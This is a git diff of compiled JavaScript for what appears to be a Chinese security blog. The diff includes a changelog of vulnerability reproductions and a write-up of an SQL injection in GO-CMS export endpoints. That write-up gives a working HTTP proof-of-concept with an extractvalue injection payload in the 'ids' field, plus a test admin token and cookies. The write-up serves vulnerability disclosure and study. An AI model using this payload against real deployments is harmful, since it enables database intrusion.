18:26:50"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Thinkphp/Thinkphp5.0.22%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C.html",children:"\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2022-12-22 18:22:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Thinkphp/Thinkphp6.0.12%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html",children:"\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2022-12-22 18:24:05"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Thinkphp/Thinkphpv6.0.13%E5%A4%9A%E8%AF%AD%E8%A8%80Rce.html",children:"\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2022-12-22 23:47:08"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%9C%AA%E5%88%86%E7%B1%BB%E7%9A%84/%E4%BB%A3%E7%90%86%E7%B1%BB/%E5%9F%BA%E4%BA%8Exray%E7%9A%84%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91.html",children:"\u672a\u5206\u7c7b\u7684/\u4ee3\u7406\u7c7b/\u57fa\u4e8exray\u7684\u79d1\u5b66\u4e0a\u7f51"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]})]})]}),"\n",(0,A.jsx)(e.h3,{id:"2022\u5e7412\u670815\u65e5",children:"2022\u5e7412\u670815\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsx)(e.tbody,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2022-12-15 12:28:38"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/PHP/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86.html",children:"\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]})})]}),"\n",(0,A.jsx)(e.h3,{id:"2022\u5e7412\u670801\u65e5",children:"2022\u5e7412\u670801\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsx)(e.tbody,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2022-12-01 00:42:24"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/Java/%E5%9F%BA%E7%A1%80%E5%AE%A1%E8%AE%A1/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html",children:"\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]})})]}),"\n",(0,A.jsx)(e.h2,{id:"2022\u5e7411\u6708",children:"2022\u5e7411\u6708"}),"\n",(0,A.jsx)(e.h3,{id:"2022\u5e7411\u670829\u65e5",children:"2022\u5e7411\u670829\u65e5"}),"\n\n\n\n\n\n\n\n\n\n",(0,A.jsx)(e.table,{children:(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})})})]})}function r(t={}){const{wrapper:e}={...(0,s.R)(),...t.components};return e?(0,A.jsx)(e,{...t,children:(0,A.jsx)(h,{...t})}):h(t)}}}]); \ No newline at end of file diff --git a/assets/js/c2288b4d.78daab95.js b/assets/js/c2288b4d.78daab95.js new file mode 100644 index 0000000..f836c28 --- /dev/null +++ b/assets/js/c2288b4d.78daab95.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3836],{13502:(e,i,n)=>{n.d(i,{A:()=>s});const s=n.p+"assets/images/image-20241211112536615-df09b8e3dc3599632a11c42563243838.png"},28453:(e,i,n)=>{n.d(i,{R:()=>t,x:()=>r});var s=n(96540);const c={},l=s.createContext(c);function t(e){const i=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(i):{...i,...e}},[i,e])}function r(e){let i;return i=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:t(e.components),s.createElement(l.Provider,{value:i},e.children)}},45813:(e,i,n)=>{n.r(i),n.d(i,{assets:()=>d,contentTitle:()=>r,default:()=>a,frontMatter:()=>t,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1","title":"GO-CMS\u4ee3\u7801\u5ba1\u8ba1","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/03.Go/01.GO-CMS\u4ee3\u7801\u5ba1\u8ba1.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/03.Go","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/03.Go/01.GO-CMS\u4ee3\u7801\u5ba1\u8ba1.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528"},"next":{"title":"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/"}}');var c=n(74848),l=n(28453);const t={},r=void 0,d={},o=[{value:"0x01 \u6f0f\u6d1e\u8bf4\u660e",id:"0x01-\u6f0f\u6d1e\u8bf4\u660e",level:2},{value:"0x02 \u6f0f\u6d1e\u8be6\u60c5",id:"0x02-\u6f0f\u6d1e\u8be6\u60c5",level:2},{value:"1. \u6f0f\u6d1e\u590d\u73b0",id:"1-\u6f0f\u6d1e\u590d\u73b0",level:3},{value:"2. \u6e90\u7801\u5206\u6790",id:"2-\u6e90\u7801\u5206\u6790",level:3}];function h(e){const i={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(i.table,{children:[(0,c.jsx)(i.thead,{children:(0,c.jsxs)(i.tr,{children:[(0,c.jsx)(i.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(i.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(i.tbody,{children:(0,c.jsxs)(i.tr,{children:[(0,c.jsx)(i.td,{style:{textAlign:"left"},children:(0,c.jsx)(i.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(i.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,c.jsx)(i.h2,{id:"0x01-\u6f0f\u6d1e\u8bf4\u660e",children:"0x01 \u6f0f\u6d1e\u8bf4\u660e"}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u6f0f\u6d1e\u63cf\u8ff0"}),"\uff1a\u53d1\u73b0\u5728",(0,c.jsx)(i.code,{children:"GO-CMS <=1.11.0"}),"\uff0c\u653b\u51fb\u8005\u5728\u5bfc\u51fa\u7528\u6237/\u6743\u9650\u8868\u683c\u65f6\uff0c\u7531\u4e8eid\u76f4\u63a5\u62fc\u63a5\u5bfc\u81f4SQL\u6ce8\u5165"]}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u6f0f\u6d1e\u6e90\u7801"}),"\uff1a",(0,c.jsx)(i.a,{href:"https://cdn.wjlin0.com/src-source/GO-CMS-1.1.10.zip",children:"GO-CMS-1.1.10.zip"})]}),"\n",(0,c.jsxs)(i.p,{children:["\u9879\u76ee\u5730\u5740\uff1a",(0,c.jsx)(i.a,{href:"https://github.com/Xi-Yuer/GO-CMS/",children:"https://github.com/Xi-Yuer/GO-CMS/"})]}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u6f0f\u6d1e\u7b49\u7ea7"}),"\uff1a",(0,c.jsx)(i.strong,{children:"\u9ad8"})]}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u5f71\u54cd\u7248\u672c"}),"\uff1a",(0,c.jsx)(i.strong,{children:(0,c.jsx)(i.code,{children:"<=1.1.10"})})]}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u6f0f\u6d1eURL"}),"\uff1a"]}),"\n",(0,c.jsxs)(i.ul,{children:["\n",(0,c.jsx)(i.li,{children:(0,c.jsx)(i.code,{children:"http://ip:port/cms/users/export"})}),"\n",(0,c.jsx)(i.li,{children:(0,c.jsx)(i.code,{children:"http://ip:port/cms/roles/export"})}),"\n"]}),"\n",(0,c.jsx)(i.h2,{id:"0x02-\u6f0f\u6d1e\u8be6\u60c5",children:"0x02 \u6f0f\u6d1e\u8be6\u60c5"}),"\n",(0,c.jsx)(i.h3,{id:"1-\u6f0f\u6d1e\u590d\u73b0",children:"1. \u6f0f\u6d1e\u590d\u73b0"}),"\n",(0,c.jsx)(i.p,{children:"\u8be5\u6f0f\u6d1e\u9700\u8981\u62e5\u6709\u5bf9\u4e0a\u8ff0\u63a5\u53e3\u7684\u6743\u9650\uff0c\u624d\u80fd\u89e6\u53d1\uff1b\u5982\u4e0b\uff0c\u6784\u9020\u4ee5\u4e0bPOC"}),"\n",(0,c.jsx)(i.pre,{children:(0,c.jsx)(i.code,{className:"language-http",children:'POST /cms/roles/export HTTP/1.1\nHost: localhost:5173\nContent-Length: 73\nsec-ch-ua-platform: "macOS"\nAuthorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM0OTgwNjMxOTYwMDk2NzY4IiwiYWNjb3VudCI6ImFkbWluIiwiaXNBZG1pbiI6MSwicm9sZUlkIjpbIjM3OTA0MjA4NTYwNjU2Mzg0IiwiNDU4NjQ5NTAxMTA4ODM4NDAiXSwiaW50ZXJmYWNlRGljIjpbIlBPU1Q6L2RlcGFydG1lbnQiLCJERUxFVEU6L2RlcGFydG1lbnQvOmlkIiwiUEFUQ0g6L2RlcGFydG1lbnQvOmlkIiwiR0VUOi9pbnRlcmZhY2UvcGFnZS86aWQiLCJERUxFVEU6L2ludGVyZmFjZS86aWQiLCJQT1NUOi9pbnRlcmZhY2UiLCJQQVRDSDovaW50ZXJmYWNlLzppZCIsIkdFVDovdXBsb2FkIiwiREVMRVRFOi91cGxvYWQvZGVsLzppZCIsIlBPU1Q6L3VwbG9hZC9jaGVjayIsIlBPU1Q6L3VwbG9hZCIsIlBPU1Q6L3VwbG9hZC9maW5pc2giLCJQT1NUOi91cGxvYWQvZG93bmxvYWQvOmlkIiwiR0VUOi91cGxvYWQvYUhyZWYvZG93bmxvYWQvOmlkIiwiR0VUOi9hdXRoL2Nvb2tpZSIsIkdFVDovbG9nL3N5c3RlbSIsIkdFVDovdGltZVRhc2siLCJQT1NUOi90aW1lVGFzay9zdGFydC86aWQiLCJQT1NUOi90aW1lVGFzay9zdG9wLzppZCIsIlBBVENIOi90aW1lVGFzay91cGRhdGUvOmlkIiwiR0VUOi9wYWdlcy9tZW51cyIsIlBPU1Q6L3VzZXJzIiwiR0VUOi9zeXN0ZW0iLCJHRVQ6L2xvZy9jb21taXRzIiwiR0VUOi9sb2cvY29tbWl0cy9jb3VudCIsIlBPU1Q6L3VzZXJzL3F1ZXJ5IiwiUE9TVDovcm9sZXMvcXVlcnkiLCJHRVQ6L2RlcGFydG1lbnQiLCJQQVRDSDovdXNlcnMvOmlkIiwiREVMRVRFOi91c2Vycy86aWQiLCJHRVQ6L3VzZXJzLzppZCIsIkRFTEVURTovcm9sZXMvOmlkIiwiUE9TVDovcm9sZXMvZXhwb3J0IiwiUE9TVDovdXNlcnMvZXhwb3J0IiwiUEFUQ0g6L3JvbGVzLzppZCIsIlBPU1Q6L3JvbGVzIiwiUE9TVDovcGFnZXMiLCJERUxFVEU6L3BhZ2VzLzppZCIsIkdFVDovcGFnZXMiLCJHRVQ6L3BhZ2VzL3VzZXIiLCJQQVRDSDovcGFnZXMvOmlkIiwiR0VUOi9wYWdlcy9yb2xlLzppZCIsIkdFVDovdXNlcnMvcm9sZS86aWQiLCJQT1NUOi9yb2xlcy9iaW5kVXNlciIsIlBPU1Q6L3JvbGVzL2RlQmluZFVzZXIiLCJQT1NUOi91c2Vycy9xdWVyeS9yb2xlLzppZCJdLCJkZXBhcnRtZW50SWQiOm51bGwsImlzcyI6IlhpLVl1ZXIiLCJzdWIiOiJhZG1pbiIsImV4cCI6MTczMzk2NTYyNSwibmJmIjoxNzMzODc5MjI2LCJpYXQiOjE3MzM4NzkyMjUsImp0aSI6IjM0OTgwNjMxOTYwMDk2NzY4In0.Cd2CJg1TpqdkSn3F2F1LZlfUeH7hGxclLD34PH7zzK8\nAccept-Language: zh-CN,zh;q=0.9\nsec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36\nAccept: application/json, text/plain, */*\nContent-Type: application/json\nOrigin: http://localhost:5173\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:5173/\nAccept-Encoding: gzip, deflate, br\nCookie: Phpstorm-f30b1e9e=0694f073-c92a-4934-afee-c48c22785c21; Goland-852c6800=72bd19d4-b952-464f-9518-4cf4be331da3; device_id=61941ffb39fe4eafa03839d648f83ed5; FUCNdjYGFg4G=MTczMzg3OTIyNXxEWDhFQVFMX2dBQUJFQUVRQUFBRV80QUFBQT09fH-QTxZOkvnjo5WwV5AqR_ilvvDPSEgjD7WXHb4XSkfi\nConnection: keep-alive\n\n{"ids":["1) and extractvalue(\'~\',concat(\'~\',(select database()))) -- "]}\n'})}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649997.png",alt:"image-20241211111851195"})}),"\n",(0,c.jsx)(i.p,{children:"\u540c\u7406\uff0c\u5728\u7528\u6237\u529f\u80fd\u5bfc\u51fa\u8868\u683c\u65f6\uff0c\u4e5f\u4f1a\u89e6\u53d1SQL\u6ce8\u5165"}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649998.png",alt:"image-20241211112123856"})}),"\n",(0,c.jsx)(i.h3,{id:"2-\u6e90\u7801\u5206\u6790",children:"2. \u6e90\u7801\u5206\u6790"}),"\n",(0,c.jsxs)(i.p,{children:["\u4ee5\u5bfc\u51fa\u7528\u6237\u8868\u683c\u4e3a\u4f8b\uff0c\u653b\u51fb\u8005\u53d1\u9001\u6076\u610f\u4ee3\u7801\uff0c\u9996\u5148\u4f1a\u89e6\u53d1",(0,c.jsx)(i.code,{children:"controllers.UserController.ExportExcel"})," \u63a7\u5236\u5668"]}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649999.png",alt:"image-20241211112358410"})}),"\n",(0,c.jsxs)(i.p,{children:["\u7cfb\u7edf\u9996\u5148\u62ff\u5230",(0,c.jsx)(i.code,{children:"JSON"}),"\u4e2d\u7684",(0,c.jsx)(i.code,{children:"ids"}),"\u5b57\u6bb5\uff0c\u5e76\u8c03\u7528",(0,c.jsx)(i.code,{children:" services.UserService.ExportExcel"}),"\u51fd\u6570"]}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649000.png",alt:"image-20241211112536615"})}),"\n",(0,c.jsxs)(i.p,{children:["\u7ee7\u7eed\u8c03\u7528 ",(0,c.jsx)(i.code,{children:"repositories.UserRepositorysModules.ExportExcel"}),"\u51fd\u6570"]}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649001.png",alt:"image-20241211112628566"})}),"\n",(0,c.jsx)(i.p,{children:"\u5728\u8fd9\u4e2a\u51fd\u6570\u4e2d\uff0c\u53ef\u4ee5\u53d1\u73b0\uff0c\u4f20\u9012\u7684ids\u5b57\u6bb5\uff0c\u901a\u8fc7\u9017\u53f7\u5206\u9694\u540e\uff0c\u76f4\u63a5\u62fc\u63a5\u5230\u4e86 query \u540e"}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{alt:"image-20241211112813219",src:n(13502).A+"",width:"2536",height:"1182"})}),"\n",(0,c.jsx)(i.p,{children:"\u6700\u7ec8\u6076\u610f\u8bed\u53e5\u88ab\u6267\u884c"})]})}function a(e={}){const{wrapper:i}={...(0,l.R)(),...e.components};return i?(0,c.jsx)(i,{...e,children:(0,c.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/c29a0e18.a8edb0c0.js b/assets/js/c29a0e18.a8edb0c0.js new file mode 100644 index 0000000..aa00938 --- /dev/null +++ b/assets/js/c29a0e18.a8edb0c0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1948],{28453:(t,e,n)=>{n.d(e,{R:()=>i,x:()=>l});var s=n(96540);const o={},r=s.createContext(o);function i(t){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function l(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(o):t.components||o:i(t.components),s.createElement(r.Provider,{value:e},t.children)}},46078:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","title":"\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/03.\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/03.\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406"},"next":{"title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316"}}');var o=n(74848),r=n(28453);const i={},l=void 0,c={},a=[];function d(t){const e={a:"a",blockquote:"blockquote",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...t.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsxs)(e.table,{children:[(0,o.jsx)(e.thead,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(e.tbody,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.td,{style:{textAlign:"left"},children:(0,o.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(e.td,{style:{textAlign:"left"},children:"2024-01-12 00:01:36"})]})})]}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"[!Tip]"}),"\n",(0,o.jsxs)(e.p,{children:["\u79fb\u6b65\u81f3 ",(0,o.jsx)(e.a,{href:"https://book.wjlin0.com/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/05.%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/03.Go/03.Go%E4%BB%A3%E7%A0%81%E6%A1%88%E4%BE%8B/02.GoLang-%E7%AE%80%E6%98%93http%E4%BB%A3%E7%90%86.html",children:"GoLang-\u7b80\u6613http\u4ee3\u7406"})]}),"\n"]})]})}function h(t={}){const{wrapper:e}={...(0,r.R)(),...t.components};return e?(0,o.jsx)(e,{...t,children:(0,o.jsx)(d,{...t})}):d(t)}}}]); \ No newline at end of file diff --git a/assets/js/c2f34fb9.0a53fa45.js b/assets/js/c2f34fb9.0a53fa45.js new file mode 100644 index 0000000..28af4ad --- /dev/null +++ b/assets/js/c2f34fb9.0a53fa45.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7336],{19272:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>o,default:()=>a,frontMatter:()=>i,metadata:()=>r,toc:()=>h});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","title":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.1 